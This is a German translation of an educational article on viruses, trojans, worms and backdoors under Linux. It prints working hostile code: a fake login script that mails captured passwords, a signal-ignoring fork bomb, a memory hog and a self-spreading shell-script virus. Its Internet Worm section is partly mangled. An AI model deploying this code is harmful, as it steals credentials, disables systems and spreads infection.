original in fr Christophe Blaess
fr to en Georges Tarbouriech
en to de Katja Socher
Christophe Blaess ist selbst�ndiger Aeronautik-Ingenieur. Er ist Linuxfan und erledigt einen gro�en Teil seiner Arbeit auf diesem System. Er koordiniert die �bersetzung der Man-Seiten, die vom Linux Documentation Project herausgegeben werden.
Dieser Artikel betrachtet interne Sicherheitsprobleme, die auf Linuxsystemen wegen aggressiver Software vorkommen k�nnen. Solche Software kann ohne menschliches Dazutun Schaden anrichten: Viren, W�rmer, Trojanischc Pferde etc. Wir werden tief auf die verschiedenen Verwundbarkeiten eingehen und auf die Vor- und Nachteile von freier Software in dieser Beziehung bestehen.
Es gibt haupts�chlich vier Typen von verschiedenen Bedrohungen, was f�r den Benutzer verwirrend sein kann, besonders da es oft vorkommt, da� ein Angriff von mehreren Mechanismen abh�ngt:
Sie zu klassifizieren ist nicht immer so leicht, z.B. gibt es Programme, die von einigen Beobachtern als Viren betrachtet werden und von anderen als W�rmer, was eine abschlie�ende Entscheidung recht kompliziert macht. Dies ist nicht sehr wichtig, wenn man die Reichweite dieses Artikels betrachtet, der klarstellen soll, welche Gefahren ein Linuxsystem bedrohen.
Entgegen allgemeinem Glauben existieren diese vier Plagen bereits unter Linux. Nat�rlich finden Viren eine weniger vorteilhafte Umgebung, um sich zu vermehren als z.B. unter DOS, aber die gegenw�rtige Gefahr sollte nicht vernachl�ssigt werden. La�t uns analysieren, was die Risiken sind.
Die potentiellen GefahrenEin Virus ist ein St�ck Code, der in das Herz eines host Programms installiert ist und in der Lage ist, sich selbst zu duplizieren durch Infizieren einer neuen ausf�hrbaren Datei. Viren wurden in den siebziger Jahren geboren, als die Programmierer dieser Zeit ein Spiel namens "core war"spielten. Dieses Spiel kommt von den Bell AT&T laboratories [MARSDEN 00]. Das Ziel des Spiels war es, parallel, innerhalb eines begrenzten Memorybereichs kleine Programme laufen zu lassen, die sich gegenseitig zerst�ren konnten. Das Betriebssystem enthielt keinen Schutz zwischen den Memorybereichen der Programme und erlaubte auf diese Weise eine allm�hliche Aggression mit dem Ziel, den Wettbewerber auszuschalten. Um dies zu erreichen, "bombardierten" einige den gr��tm�glichen Memorybereich mit '0', w�hrend andere sich permanent im Adressraum bewegten in der Hoffnung, dadurch den Code des Widersachers zu �berschreiben und manchmal kooperierten sich einige von ihnen, um einen schwierigen "Feind" auszuschalten.
Die implementierten Algorithmen f�r das Spiel wurden in eine Assemblersprache, die speziell hierf�r erschaffen worden war, �bersetzt, den "red code", der durch einen Emulator, der auf den meisten existierenden Maschinen verf�gbar war, ausgef�hrt wurde. Das Spielinteresse war mehr wissenschaftliche Neugier, wie z.B. die Begeisterung gegen�ber dem Life of Conway Game, den Fraktalen, genetischen Algorithmen, etc.
Jedoch, folgt man Artikeln, die den core war betreffen, ver�ffentlicht in Scientific American [DEWDNEY 84], dann mu�te das Unvermeidbare passieren und einige Leute begannen St�cke von selbstwiederholendem Code speziell f�r den Bootsektor von Disketten oder ausf�hrbaren Dateien zu schreiben, zuerst auf Apple Computern und dann auf MacIntosh und PCs.
Das MS DOS Betriebssystem war die Wunschumgebung f�r die Vermehrung von Viren: statische ausf�hrbare Dateien mit einem gut bekannten Format, kein Memoryschutz, keine Sicherheit f�r Dateizugriffsrechte, weite Nutzung von TSR resistenten Programmen aufgestapelt im Speicher, etc. Dazu kommt der Erfahrungsstand der Benutzer, die wild Programme auf Disketten austauschten, ohne sich um den Ursprung der Dateien zu k�mmern.
In seiner einfachsten Form ist ein Virus ein kleines St�ck Code, das als ein Extra ausgef�hrt wird, wenn eine Applikation gestartet wird. Er nutzt seine Rechenzeit, um nach anderen ausf�hrbaren Dateien, die noch nicht infiziert sind, Ausschau zu halten, nistet sich dort ein (vorzugsweise bleibt das urspr�ngliche Programm zur gr��eren Diskretion unver�ndert) und beendet sich. Beim Start der neuen ausf�hrbaren Datei startet der Proze� erneut.
Viren k�nnen von einer gro�en Menge an "Waffen" profitieren, um sich selbst zu vermehren. In [LUDWIG 91] und [LUDWIG 93] gibt es eine detaillierte Beschreibung von Viren f�r DOS, unter Benutzung von hochentwickelten Methoden. Methoden, um sich zu verstecken, um von aktuellen Antivirensoftware nicht erkannt zu werden: Zufallsverschl�sselung, permanentes Ver�ndern von Code, etc. Es ist sogar m�glich, Viren zu treffen, die genetische Algorithmen benutzen, um ihre �berlebens- und Reproduktionsm�glichkeiten zu optimieren. �hnliche Informationen k�nnen in einem sehr ber�hmten Artikel gefunden werden: [SPAFFORD 94].
Aber wir m�ssen im Kopf behalten, da� �ber das Thema von Experimenten mit k�nstlichem Leben in Form des Computervirus gro�en Schaden anrichten kann. Das Prinzip der mehrfachen Wiederholung eines St�ckes Code ist nur eine Verschwendung von Platz (Platten und Speicher), aber Viren werden benutzt als ein Transportmittel f�r andere, viel ungef�lligere Dinge: die logischen Bomben (logical bombs), die wir auch wieder in Trojanischen Pferden wiederfinden.
Die belagerten Trojaner hatten die dumme Idee, eine gro�e h�lzerne Statue, die ein Pferd darstellte, in ihre Stadt zu lassen, die von den griechischen Angreifern als religi�se Gabe zur�ckgelassen worden war. Das trojanische Pferd verbarg in seiner Seite ein echtes Kommando, dessen Mitglieder, einmal eingedrungen, den Schutz der der Nacht nutzten, um die Stadt von innen anzugreifen und erm�glichten auf diese Weise den Griechen, den Trojanischen Krieg zu gewinnen.
Der ber�hmte Term "Trojanisches Pferd" wird oft im Computersicherheitsfeld benutzt, um eine a priori harmlose Applikation zu bestimmen, wie die oben erw�hnten Viren, die einen zerst�rerischen Code, genannt logische Bombe, verbreitet.
Eine logische Bombe ist ein Programmteil, der absichtlich sch�digend ist und sehr verschiedene Wirkungen hat:
Die logische Bombe kann auch versuchen, das System, in dem sie liegt, physisch zu zerst�ren. Diese M�glichkeiten sind eher begrenzt, aber sie existieren (L�schen des CMOS Memory, �nderung im modem flash memory, zerst�rerische Bewegungen auf Drucker-, Plotter-, Scannerk�pfen, beschleunigte Bewegung beim Lesen von Festplattenk�pfen...)
Um mit der "explosiven" Metapher weiterzumachen, kann man sagen, da� eine logische Bombe einen Detonator braucht, um aktiviert zu werden. Es ist eine Tatsache, da� das Laufenlassen zerst�rerischer Aktionen von einem Trojanischen Pferd oder Virus beim ersten Start eine schlechte Taktik ist, was die Effizienz angeht. Nach der Installation der logischen Bombe ist es f�r sie besser, zu warten, bevor sie explodiert. Dies erh�ht die "Chancen", andere Systeme zu erreichen, wenn es um Viren�bertragung geht und wenn es um Trojanishce Pferde geht, h�lt es den Benutzer davon ab, zu leicht die Verbindung zwischen der neuen Anwendungsinstallation und dem merkw�rdigen Verhalten dieser Maschine zu ziehen.
Wie bei jeder sch�dliche Aktion, kann der Ausl�semechanismus variieren: zehn Tage Verz�gerung nach der Installation, Entfernen eines gegebenen Benutzeraccounts (K�ndigung), Tastatur und Maus inaktiv f�r 30 Minuten, hohe Auslastung in der Druckerwarteschlange... es gibt keinen Mangel an M�glichkeiten! Die ber�hmtesten Trojanischen Pferde sind die Bildschirmschoner, auch wenn sie heute ein bi�chen abgedroschen sind. Hinter einem attraktiven Aussehen sind diese Programme in der Lage, Schaden anzurichten, ohne gest�rt zu werden, besonders, wenn die logische Bombe erst nach einer Stunde aktiviert wird, was beinahe sicherstellt, da� der Benutzer nicht mehr vor seinem Rechner ist.
Ein weiteres ber�hmtes Beispiel eines Trojanischen Pferdes ist das folgende Skript, das einen login/password Bildschirm anzeigt, der die Informationen an die Person, die es gestartet hat, sendet und sich beendet. Wenn es auf einem unbenutzten Terminal l�uft, erlaubt dieses Skript das Einfangen des Pa�wortes des n�chsten Benutzers, der versucht, sich einzuloggen.
#! /bin/sh
clear
cat /etc/issue
echo -n "login: "
read login
echo -n "Password: "
stty -echo
read passwd
stty sane
mail $USER <<- fin
login: $login
passwd: $passwd
fin
echo "Login incorrect"
sleep 1
logout
Um die Verbindung zu beenden, wenn es fertig ist, mu�
es mit dem exec shell Befehl gestartet werden. Das
Opfer denkt, es hat einen Tippfehler gemacht, wenn es die
"Login incorrect" Meldung sieht und loggt sich nochmal
auf dem normalen Weg ein. Weiter fortgeschrittene Versionen
sind in der Lage, den X11 Einlogdialog zu simulieren. Um diese
Art von Falle zu vermeiden, ist es gut, zuerst ein falsches
login/password zu benutzen, wenn man an ein Terminal kommt
(dies ist ein Reflex, den man leicht und schnell lernt).
"W�rmer" stammen aus demselben Prinzip wie Viren. Sie sind Programme, die versuchen, sich zu vermehren, um die maximale Verbreitung zu erreichen. Auch wenn es nicht ihr Hauptfeature ist, k�nnen auch sie logische Bomben mit einem verz�gerten Ausl�ser enthalten. Die Unterscheidung zwischen W�rmern und Viren r�hrt aus der Tatsache, da� W�rmer kein host Programm als Transportmittel benutzen, sondern stattdessen versuchen sie von den F�higkeiten, die von Netzwerken bereitgestellt werden, Nutzen zu ziehen, wie Email, um sich von Maschine zu Maschine zu verbreiten.
W�rmern sind technische anspruchvoller als Viren, sie nutzen die Verwundbarkeiten von Software, die von Netzwerkdiensten bereitgestellt werden, um ihre Selbstduplizierung auf einer entfernten Maschine zu erzwingen. Geschichte gemacht hat 1988 der "Internet Worm".
Der Internet Worm ist ein Beispiel eines reinen Wurms, der keine logische Bombe enthielt, trotzdem war seine unfreiwillige zerst�rerische Wirkung be�ngstigend. Man kann eine kurze, aber genaue Beschreibung in [KEHOE 92] finden oder eine detaillierte Analyse in [SPAFFORD 88] oder [EICHIN 89]. Es gibt auch eine weniger technische, aber aufregendere Erkl�rung in [STOLL 89] (die der Cuckoo Egg Saga folgt), wo die Raserei der Teams, die diesen Wurm bek�mpften nach der Panik der Administratoren, deren Systeme betroffen waren, kam.
Kurz, dieser Wurm war ein Programm, das von Robert Morris Jr, Student an der Cornell Universit�t, bereits bekannt durch einen Artikel �ber Sicherheitsprobleme in Netzwerkprotokollen [MORRIS 85] geschrieben wurde. Er war der Sohn von einem Mann, der die Verantwortung f�r die Computersicherheit der NCSC, einem Zweig der NSA, trug. Das Programm wurde am sp�ten Nachmittag des 2.November 1988 gestartet und stoppte die meisten Systeme, die mit dem Internet verbunden waren. Es lief in mehreren Schritten:
netstat,
das Informationen �ber Netzwerkschnittstellen liefert,
auf./etc/passwd), und profitierte so von der
schlechten Auswahl einiger Benutzerpa�w�rter.
Diese erste Verwundbarkeit wurde inzwischen durch die
Benutzung von shadow passwords gel�st.~/.rhost, und /etc/hosts.equiv
Dateien benutzten. In diesem Fall benutzte es
rsh, um Anweisungen auf der entfernten Maschine
auszuf�hren. Auf diese Weise war es in der Lage, sich
selbst auf den neuen Host zu kopieren und der Zyklus startete
von neuem.fingerd buffer
overflow exploit. (Siehe unsere Serie �ber sicheres
Programmieren : Vermeiden von
Sicherheitsl�chern beim Entwickeln einer Applikation -
Teil 1, Vermeiden
von Sicherheitsl�chern beim Entwickeln einer Applikation
- Teil 2: memory, stack und Funktionen, shellcode, Vermeiden von
Sicherheitsl�chern beim Entwickeln einer Applikation -
Teil 3: buffer overflows.)sendmail daemon aktiviert, erlaubte es Mail zur
Standardeingabe des Programms, gekennzeichnet als Ziel, zu
�bermitteln. Diese Option sollte niemals auf
Produktionsmaschinen aktiviert sein, aber leider ignorierten
die meisten Administratoren ihre Existenz.Zu beachten ist, da� das Verfahren Anweisungen auf einer anderen Maschine auszuf�hren eher komplex war. Es erforderte die �bertragung eines kleinen C Programms, das dort rekompiliert und gestartet wurde. Dann baute es eine TCP/IP Verbindung zu dem gestarteten Computer auf und bekam alle Wurmbinaries zur�ck. Diese letzten, vorkompiliert, existierten f�r mehrere Architekturen (Vax und Sun), und wurden eine nach der anderen getestet. Au�erdem war der Wurm sehr clever beim Verstecken. Er versuchte kaum Spuren zu hinterlassen.
Leider funktionierte der Mechanismus, der Verhindern sollte, da� ein Computer mehrere Mal infiziert wurde nicht wie erwartet und der sch�dliche Aspekt von Internet 88 worm, der keine logische Bombe enthielt, zeigte sich in einer gro�en �berlastung der betroffenen Systeme (besonders durch ein Blockieren von Email, was eine Verz�gerung beim Austausch von L�sungen zwischen den Systemadministratoren verursachte).
Der Autor des Wurms wanderte f�r einige Zeit ins Gef�ngnis.W�rmer sind relativ selten wegen ihrer Komplexit�t. Sie d�rfen nicht mit einem anderen Gafahrentyp verwechselt werden, der Viren als Attachments zu Emails �bertr�gt so wie der ber�hmte "ILoveYou". Diese sind sehr einfach, da es Macros sind, die (in Basic) f�r Office-Programme geschreiben wurden, die automatisch gestartet werden, wenn die Email gelesen wird. Dies l�uft nur auf einigen Betriebssystemen, wenn das Emailprogramm auf zu simple Weise konfiguriert wurde. Diese Programme sind vergleichbar mit Trojanischen Pferden, da sie eine Aktion des Benutzers erfordern, um gestartet zu werden.
Hintert�ren k�nnen mit Trojanischen Pferden verglichen werden, aber sie sind nicht identisch. Eine Hintert�r erlaubt einem ("fortgeschrittenen") Bentuzer, die Software zu manipluieren. Sie k�nnen mit den Betr�gercodes verglichen werden, die in Spielen benutzt werden, um mehr Ressourcen zu bekommen, einen h�heren Level zu erreichen etc. Aber dies gilt auch f�r kritische Applikationen wie Authentifizierung oder Email, da sie versteckten Zugang mit einem Pa�wort, das nur dem Softwareerzeuger bekannt ist, bieten k�nnen.
Programmierer, die die Debuggingphase erleichtern wollen,
lassen oft eine kleine T�r offen, um die Software benutzen
zu k�nnen, ohne durch den Autentifikationsmechaismus gehen
zu m�ssen, selbst wenn die Applikation auf der
Kundenseite installiert ist. Manchaml sind es offizielle
Zugangsmechanismen, die Standardpa�w�rter
benutzen(system, admin,
superuser, etc), aber nicht gut dokumentiert sind,
was Adminsiratoren dazu f�hrt, sie aktiviert zu
lassen.
Erinnere dich an die verschiedenen versteckten Zug�nge, die es erlaubten, mit dem System in dem Film "Wargame" zu kommunizieren, aber man kann auch fr�here Berichte �ber solche Praktiken finden. In einem ungluablichen Artikel [THOMPSON 84], beschreibt Ken Thompson, einer der Unixv�ter, einen versteckten Zugang, den er vor Jahren auf Unixsystemen implementierte:
/bin/login Applikation so
ge�ndert, da� sie ein St�ck Code enthielt,
das direkten ZUgang zu dem System leiferte durch das Tippen
eines vorkompileriten Pa�worts (ohne
/etc/passwd zu pr�fen). Auf diese
Weise konnte Thompson jedes System besuchen, da� diese
login Version benutzte.login.c Quellcode pr�sent in den
Unixsystemen und jeder h�tte den gef�lschten code
lesen k�nnen. Demgem�� lieferte Thompson
einen sauberen login.c ohne die
Zugangst�r.login.c zu rekompileiren und auf diese
Weise die Fallt�rversion zu entfernen. Dann
ver�nderte Thompson den Standard C Compiler, um ihn in
die Lage zu versetzen, die Hintert�r hinzuzuf�gen,
wenn es bemerkte, da� jemand versuchtee
login.c zu kompilieren.cc.c
verf�gbar und jeder h�tte ihn lesen oder den
Kompiler rekompilerien k�nnen. Demgem��
lieferte Thompson einen sauberen Kompileirerquellcode, aber
die binary Datei, die schon bearbeitet war, war inder Lage,
ihre eigenen Quelldateien zu identifizieren, die dann den
Code enthielt, der benutzt wurde, um login.c zu
infizieren...Was kann man dagegen tun ? Nun, nichts! Der einzige Weg w�re, mit einem brandneuen System zu starten. Au�er wenn man seine Maschine von Anfang an selbst erzeugt mit dem gesamten Microcode, dem Betriebssystem, den Compilern, den Utilities, kann man nicht sicher sein, da� jede Applikation sauber ist, auch wenn der Quellcode verf�gbar ist.
Wir haben die Hauptrisiken f�r jedes System dargestellt. La�t uns jetzt die Gefahren, die freie Software und Linux betreffen, anschauen.
La�t uns zuerst die Sch�den anschauen, die eine logische Bombe verursachen kann, wenn sie auf einer Linuxksite ausgef�hrt wird. Natr�lich variiert dies abh�ngig von der gew�nschten Wirkung und den Privilegien der Benutzeridentit�t, die es startet.
Soweit Systemdateizerst�rung oder das Lesen von vertraulichen Daten betroffen ist, k�nnen wir zwei F�lle haben. Wenn die Bombe sich unter der root Identit�t ausf�hrt, hat es die gesamte Macht �ber die Maschine, einschlie�lich der L�schung jeder Partition und die eventuellen Gefahren f�r die Hardware, die oben erw�hnt wurden. Wenn es unter einer anderen Identit�t gestartet wird, kann es nicht zerst�rerischer sein als ein Benutzer ohne Privilegien sein kann. Es zerst�rt nur Daten, die zu diesem Bentuzer geh�ren. In diesem Fall ist jeder f�r seine eigenen Dateien verantwortlich. Ein gewissenhafter Systemadministrator macht nur wenige Dinge w�hrend er als root eingeloggt ist, was die Wahrschienlichkeit, eine logische Bombe unter diesem Account zu starten, reduziert.
Das Linuxsystem ist eher gut beim Schutz von privaten Daten und Hardwarezugang, es ist aber empfindsam f�r Attacken, die darauf abzielen, es lahmzulegen durch Benutzen vieler Ressourcen. Zum Beispiel ist das folgende C Programm schwer zu stoppen, auch wenn es als normaler Benutzer gestartet wurde, da, wenn die Anzahl der Prozesse per Benutzer nicht begrenzt ist, es jeden vef�gbaren Eintrag aus der Prozessortabelle benutzt und jede Verbindung verhindert, die versucht, es zu t�ten:
#include <signal.h>
#include <unistd.h>
int main (void)
{
int i;
for (i = 0; i < NSIG; i ++)
signal (i, SIG_IGN);
while (1)
fork ();
}
Die Begrenzungen, die man f�r Benutzer (mit dem
setrlimit() Systemaufruf und der Shellfunktion
ulimit function) setzen kann, erlaubt es, das
Leben eines solchen Programms zu verk�rzen, aber sie
wirken erst nach einiger Zeit, w�hrend der das System
nicht erreichbar ist.
In derselben Verbindung benutzt ein Programm wie das folgende allen verf�gbaren Speicher und l�uft in einer Schleife, wobei es die CPU Zyklen auffri�t, so da� es f�r die anderen Prozesse sehr st�rend ist:
#include <stdlib.h>
#define LG 1024
int main (void) {
char * buffer;
while ((buffer = malloc (LG)) != NULL)
memset (buffer, 0, LG);
while (1)
;
}
Normalerweise wird dieses Programm automatisch von den virtuellen Speicherverwaltungsmechanismen der neuesten Kernelversionen get�tet. Aber davor kann der Kernel andere Applikationen t�ten, die viel Speicher erfordern (X11 Applikationen zum Beispiel). Au�erdem bekommen alle anderen Prozesse, die Speicher ben�tigen, diesen nicht, was oft zu ihrer Beendigung f�hrt.
Netzwerkfeatures durcheinanderzubringen ist auch eher
einfach durch �berladen der korrespondierenden Ports mit
kontinuierlichen Verbindungsanfragen. L�sungen zur
Vermeidung existieren, aber sie sind nicht immer von den
Adminsitratoren implementiert. Wir k�nnen f�r Linux sagen,
da�, auch wenn eine logische Bombe, die von
einem normalen Benutzer gestartet wird, system Dateien, die ihm
nicht geh�ren, nicht zerst�ren kann, sie
trotzdem sehr st�rend sein kann. Es reicht, ein
paar wenige fork(), malloc() und
connect() zu kombinieren, um das System und die
Netzwerkdienste stark zu belasten.
Subject: Unix Virus YOU RECEIVED AN UNIX VIRUS This virus works according to a cooperative principle: If you use Linux or Unix, please forward this mail to your friends and randomly destroy a few files of your system. |
Trotz einer weitverbreiteten Meinung, k�nnen Viren unter Linux eine Bedrohung sein. Mehrere existieren. Was stimmt, ist, da� ein Virus unter Linux keinen N�hrboden zur Verbreitung findet. La�t uns zun�chst die Phase der Infizierung eines Rechners betrachten. Der Virencode mu� dort ausgef�hrt werden. Dies bedeutet, eine korrupte ausf�hrbare Datei wurde von einem anderen System kopiert. In der Linuxwelt ist die �bliche Praxis jemandem eine Applikation zu schicken, ihm einen URL zu geben, wo er die Software finden kann, statt ihm ausf�hrbare Dateien zu schicken. Dies bedeutet, da� der Virus von einer offiziellen Seite kommt, wo er schnell entdeckt wird. Ist eine Maschine einmal infiziert, sollet sie, um sie in die Lage zu versetzen, den Virus zu verbreiten, als Verteilungsplattform f�r vorkompilierte Applikationen benutzt werden, was eher selten vorkommt. Daher ist eine ausf�hrbare Datei kein gutes Transportmedium f�r eine logische Bombe in der Welt freier Software.
Was die Verbreitung innerhalb einer Maschine angeht, so kann sich die korrupte Applikation nat�rlich nur zu Dateien verbreiten, f�r die der Benutzer, der sie laufen hat, Schreibrechte besitzt. Der weise Administrator, der nur als root arbeitet bei Operationen, die wirklich Privilegien erfordern, wird wahrscheinlich eine neue Software nicht laufen lassen, wenn er unter dieser Identit�t eingeloggt ist. Au�er von der Installation einer Set-UID root Applikation, die mit einem Virus infiziert ist, ist das Risiko dann recht reduziert. Wenn ein normaler Benutzer ein infiziertes Programm laufen l��t, wird der Virus nur auf den Dateien, die dem Benutzer geh�ren, handeln, was eine Verbreitung zu den Systemutilities verhindert.
Wenn Viren lange Zeit unter Unix eine Utopie dargestellt haben, dann liegt das auch an der Vielfalt an Prozessoren ( Assemblersprachen) und Bibliotheken (Objektreferenzen), die die Reichweite f�r vorkompilierten Code begrenzten. Heute stimmt das nicht mehr so und ein Virus, der f�r LINUX ELF Dateien kompiliert ist mit i386 Prozessor GlibC 2.1, w�rde eine Menge Ziele finden. Au�derdem k�nnte ein Virus in einer Sprache geschreiben werden, die nicht von dem Host, der ihn ausf�hrt, abh�ngig ist. Zum Beispiel ist hier ein Virus f�r Shellskripte. Es versucht, in jedes gefundene Shellskript in dem Verzeichnis, in dem es gestartet wurde, zu gelangen. Um zu vermeiden, da� dasselbe Skript mehr als einmal infiziert wird, ignoriert der Virus die Dateien, in denen die zweite Zeile mit den Kommentar "infected" (infiziert) oder "vaccinated" (geimpft) ist.
#! /bin/sh
# infected
( tmp_fic=/tmp/$$
candidates=$(find . -type f -uid $UID -perm -0755)
for fic in $candidates ; do
exec < $fic
# Let's try to read a first line,
if ! read line ; then
continue
fi
# and let's check it is a shell script.
if [ "$line" != "#!/bin/sh" ]&&[ "$line" != "#! /bin/sh" ];then
continue
fi
# Let's read a second line.
if ! read line ; then
continue
fi
# Is the file already infected or vaccinated ?
if [ "$line" == "# vaccinated" ]||[ "$line" == "# infected" ];then
continue
fi
# Otherwise we infect it: copy the virus body,
head -33 $0 > $tmp_fic
# and the original file.
cat $fic >> $tmp_fic
# Overwrite the original file.
cat $tmp_fic > $fic
done
rm -f $tmp_fic
) 2>/dev/null &
Der Virus k�mmert sich nicht darum, sich oder seine
Aktionen zu verstecken, au�er da� er sich im
Hintergrund ausf�hrt, w�hrend er das Originalskript
seinen normalen Job tut. Nat�rlich
l��t man dieses Programm nicht als root
laufen! Besonders, wenn man find . durch
find / ersetzt. Trotz der Einfachheit dieses
Programms, ist es ganz einfach, seine Kontrolle zu verlieren,
besonders, wenn das System viele angepa�te Shellskripte
enth�lt.
Tabelle 1 enth�lt Informationen �ber gut bekannte Viren unter Linux. Alle von ihnen infizierten ELF Dateien, durch Einf�gen ihres Codes nach dem Dateiheader und zur�ckschieben des Rests des Originalcodes. Wenn nichts anderes gesagt wird, suchen sie potentielle Ziele in den Systemverzeichnissen. Aus dieser Tabelle kannst du ersehen, da� Viren unter Linux keine Annekdoten sind, wenn auch nicht zu alarmierend, meistens weil bisher die Viren harmlos sind.
| Name | Logische Bomben | Bemerkungen |
| Bliss | scheinbar inaktiv | automatische Desinfektio der ausf�hrbaren Datei,
wenn es mit der Option
--bliss-disinfect-files-please aufgerufen
wird |
| Diesel | keine | |
| Kagob | keine | benutzt eine tempor�re Datei, um das infizierte Originalprogramm auszuf�hren |
| Satyr | keine | |
| Vit4096 | keine | infiziert nur Dateien im aktuellen Verzeichnis. |
| Winter | keine | Der Virsucode ist 341 bytes. Infiziert nur Dateien im aktuellen Verzeichnis. |
| Winux | keine | Der Virus enth�lt zwei verschiedene Codes und kann sowohl Windows Dateien als auch Elf Linux Dateien infizieren. Er ist jedoch nicht in der Lage, andere Partitionen zu erkunden als die, wo er gespeichert ist, was die Verbreitung verringert. |
| ZipWorm | f�gt einen "troll" text �ber Linux und Windows in die Zipdateien, die er findet, ein. ("troll"= eine Art Gnom in der schwedischen Mythologie) |
Du wirst bemerken, da� der "Winux" Virus in der Lage ist, sich unter Windows oder auch Linux zu verbreiten. Es ist ein harmloser Virus und eher ein Beweis von M�glichkeiten als eine wirkliche Gefahr. Jedoch l�uft einem ein Schauer �ber den Nacken, wenn man sich vorstellt, da� solch ein Endringling von einer Partition zur anderen springen k�nnte, einfallen in heterogene Newtzwerke durch Benutzen von Sambaservern etc. Entfernen w�re schwer, da die erforderlichen Werkzeuge f�r beide Systeme auf einmal verf�gbar sein m��ten. Es ist wichtig zu bemerken, da� der Schutzmechanismus von Linux, die einen Virus, der unter einer normalen Benutzeridentit�t l�uft, daran hindern, Systemdateien zu infizieren, nicht mehr verf�gbar ist, wenn auf die Partition von einem Virus zugegriffen wird, der unter Windows l�uft.
La�t uns auf diesem Punkt bestehen: jede Vorsicht der Administration, die man unter Linux trifft, wird unwirksam, wenn man seine Maschine von einer Windowspartition rebootet, die einen eventuellen multi-platform Virus "beherbergt". Es ist ein Problem f�r jede Maxchine, die dual-boot mit zwei Betriebssystemen benutzt; der allgemeine Schutz des ganzen h�ngt von den Sicherheitsmechanismen des schw�chsten Systems ab! Die einzige L�sung ist, den Zugriff auf Linuxpartitionen von jeder Windowsapplikation zu verhindern durch Benutzen eines verschl�sselten Dateisystems. Dies ist bisher noch nicht weit verbreitet und wir k�nnen wetten, da� Viren, die ungemountete Partitionen attakieren, bald eine bedeutende Gefahr f�r Linuxmaschinen darstellen werden.
Trojanisch Pferde sind so angsteinfl�ssend wie Viren und die Leute scheinen sich ihrer mehr bewu�t zu sein. Anders als eine logische Bombe, die von einem Virus transportiert wird, wurde diejenige, die in einem Trojanischen Pferd gefunden wird, absichtlich von jemandem eingef�gt. In der freien Softwarewelt ist die Reichweite vom Autor eines St�ck Codes bis zum schlie�lichen Benutzer auf ein oder zwei Zwischenstufen (Personen) begrenzt (la�t uns sagen, jemand, der f�r das Projekt verantwortlich ist und jemand, der die Distribution erstellt und verschickt). Wenn ein Trojanisches Pferd entdeckt wird, ist es leicht, den "Schuldigen" zu finden.
Die freie Softwarewelt ist dadurch eher gut gesch�tzt gegen Trojansiche Pferde. Aber wir reden hier von freier Software wie wir sie heute kennen, mit verwalteten Projekten, empf�nglichen Entwicklern und Webseiten von Referenz. Dies ist weit entfernt von Shareware oder Freeware, die nur vorkompiliert zur Verf�gung steht und in einer anarchischen Weise von hunderten von Webseiten (oder CDs, ie mit Magazinen mitgeliefert werden) verteilt werden, wo der Autor nur durch eine Emailadresse bekannt ist, die leicht gef�lscht werden kann; dies ist ein wahrer Pferdestall von Trojansichen Pferden.
La�t uns bemerken, da� die Tatsache, den
Quellcode einer Applikation zu haben und zu kompileiren, keine
Garantie f�r Sicherheit ist. Zum Beispel kann eine
sch�dliche logische Bombe in einem
"configure" Skript (das, das w�hrend
"./configure; make" aufgerufen wird)
versteckt werden, was normlaerwesie an die 2000 Zeilen lang
ist! Zuletzt, der Quellcode einer Applikation ist sauber und
kompileirt; dies hindert nicht das Makefile vom
Verstecken einer logischen Bombe, die sich selbst w�hrend
des letzten "make install" aktiviert, was
normalerweise als root gemacht wird!
Zuletzt, ein wichtiger Teil von Viren und Trojansichen Pferde, die unter Windows sch�dlich sind, sind Macros, die ausgef�hrt werden, wenn ein Dokument aufgesucht wird. Die Produktivit�tspakete unter Linux sind nicht in der Lage, diese Macros zu interpretieren, zumindest momentan, und der Benutzer bekommt schnell ein �bertriebenes Gef�hl von Sicheheit. Es wird eine Zeit kommen, wenn diese Werkzeuge in der Lage sein werden, die Basic macros, die in dem Dokument enthalten sind, auszuf�hren. Die Tatsache, da� Designer die schlechte Idee haben, diese Macros Befehle auf dem System laufen zu lassen, wird fr�her oder sp�ter geschehen. Sicher, wie bei Viren ist die zerst�rerische Wirkung durch die Benutzerprivilegien begrenzt, aber die Tatsache, nicht die Systemdateien verloren zu haben, die sowieso auf der Installations-CD noch vorhanden sind) ist nur ein schwacher Trost f�r einen Benutzer, der gerade alle seine Dokumente verloren hat, seine Quelldateien, seine Email, w�hrend sein letztes Backup einen Monat alt ist.
Um diesen Abschnitt �ber Trojanische Pferde, die in
Daten enthalten sind, zu beenden, la�t uns anmerken,
da� es immer einen Weg gibt, um den Benutzer zu
�rgern.
Auf dem
Usenet kann man abundzu komprimeirte Dateien sehen, die sich in
einen Haufen von Dateinen multiplizieren bis die Festplatte
voll ist. Einige Postscriptdateien snd auch in der Lage, den
Interpreter zu blockieren (ghostscript oder
gv) durch Verschwenden von CPU Zeit. Sie sind
nicht sch�dlich, aber der Benutzer verliert Zeit und sie
sind �rgerlich.
Linux existeirte zu der Zeit des 1988 Internet Worm nicht; es w�re das Wunschziel f�r eine solche art von Angriff, die Verf�gbarkeit von freien Softwarequellen macht die Suche nach Verwundbarkeiten sehr einfach (buffer overflows, zum Beispiel). Die Komplexit�t f�r das Schreiben eines Wurms "guter Qualit�t" reduziert die Anzahl derer, die wirklich unter Linux aktiv sind. Tabelle 2 pr�sentiert einige davon, darunter die am h�ufigsten verbreitesten.
Die W�rmer nutzen Netzwerkverwundbarkeiten aus. F�r Workstations, die nur abundzu mit dem Internet verbunden sind, ist das Risiko theoretisch geringer als f�r Server, die perament verbunden sind. Aber die Evolution der Verbindungstypen, die dem home-Benutzer zur Verf�gung stehen (Kabel, SDL, etc.) und die Einfachheit der Implementation aktueller Netzwerkdienste (HTTP Server, anonymous FTP, etc.) implizieren, da� es schnell ein Anliegen f�r jeden werden kann.
| Name | Verwundbarkeiten | Bemerkungen |
Lion (1i0n) |
bind |
Installiert eine Hintert�r (TCP port 10008) und ein root-kit auf der eingedrungenen Maschine. Schickt Systeminformationen an eine Emailadresse in China. |
| Ramen | lpr, nfs,
wu-ftpd |
�ndert die index.html Dateien, die es
findet |
| Adore (Red Worm) | bind, lpr, rpc,
wu-ftpd |
Installiert eine Hintert�r in dem Sytem und
schickt Informatiotnen an eine Emailadresse in China und
den USA. Installiert eine modifizierte ps
Version, um seine Prozesse zu verstecken. |
| Cheese | wie Lion | Wurm, eingef�hrt als ein netter Helfer, �berpr�ft und entfernt die Hintert�ren, die von Lion ge�ffnet wurden. |
